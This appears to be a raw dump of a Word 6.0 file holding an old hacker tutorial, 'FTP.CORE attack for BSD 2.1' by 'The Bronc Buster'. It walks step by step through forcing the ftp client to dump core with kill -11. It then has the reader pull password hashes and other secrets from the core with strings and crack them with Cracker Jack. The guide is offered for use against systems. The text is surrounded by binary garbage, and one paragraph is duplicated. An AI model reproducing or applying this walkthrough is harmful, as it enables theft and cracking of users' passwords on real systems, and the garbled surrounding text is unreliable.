R o o t E n t r y └ F @pqwtσ║ Ç W o r d D o c u m e n t C o m p O b j ^ ■ ∙ ç £ ░ ╤ τ ° j k m n o ¥ ¼ ╩ ∩ 1 6 7 [ \ ∙ ≤ φ τ ß █ ╒ ╧ ╔ ─ ┐ ║ ╡ ░ ½ ª í £ ù Æ ì ê â ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ ≡ \ ` é º ─ Γ π / 0 4 5 \ ] v z ▒ ╦ ╓ ╫ i
/ K @± Normal a " A@≥ í " Default Paragraph Font ╨ @ ■
└ F Microsoft Word 6.0 Document
MSWordDoc ⌠9▓q o and should be able to pick it clean of all passwords and other information you might be interested in.This has only been tested, and worked on BSD 2.1 so far, if it works on other systems, feel free to modify this text to reflect it.Bronc Buster ▄Ñe #└ ∙ ■
, l , l
¬ O ( ∞ ÿ T ε O MS Sans Serif Symbol Times New Roman Times New Roman FTP.CORE attack for BSD 2.1-----------------------------------------------------------------------------------------------------------------by The Bronc Buster bbuster@succeed.nethttp://www2.succeed.net/~bbusterMade for The Infectedwww.infected.com-----------------------------------------------------------------------------------------------------------------This is a relativly simple attack, and can be done as ANY LEGIT user on a BSD 2.1 system. The focus of this attack is to get the ftp daemond to produce a core dump. When it dumps, all the information it has used up to the point it dumps will be stored in a file, in the the directory you are in, called "ftp.core". This file will contain shell and enviornment varibles, paths, and other misc stuff. What we will be looking for is the unshadowed passwd file. As this process has to access the passwd file to make sure you're legit, it stores all the information proir to your user in a buffer, and it will have to unshadow , or access the shadowed file, to do this. After you get the encrypted passwords, go find a copy of Cracker Jack and get to work. Ok, how to do it:#ftp foobar.comWelcom to foobar.com ftp siteblah blah blahplease enter login name> evilthat user requires a password> evil2 User evil loged in welcome to foobar.com!Remote set to type BINftp>(now hit ^Z to suspend the process)#ps PID TT STAT TIME COMMAND 9526 p0 Ss 0:00.12 -csh (csh) 9539 p0 R+ 0:00.02 ps1000 p0 Ss 0:00.22 ftp(get the PID number to the ftp process)#kill -11 1000(kill the process)#fg(bring the ftp back to the foreground)Process Killed Core Dump#lshome mail public_html ftp.core#strings ftp.core > test#pico testFrom this point you have the .core in pico and should be able to pick it clean of all passwords and other information you might be interested in.This has only been tested, and worked on BSD 2.1 so far, if it works on other systems, feel free to modify this text to reflect it.Bronc Buster ∙ å ç ¢ £ » ░ ╨ ╤ µ τ ≈ ° i j k l m n o ~ £ ¥ ½ ¼ ╔ ╩ ε ∩ 0 1 5 6 7 Z [ \ _ ` ü é ª º ├ ─ ß Γ π
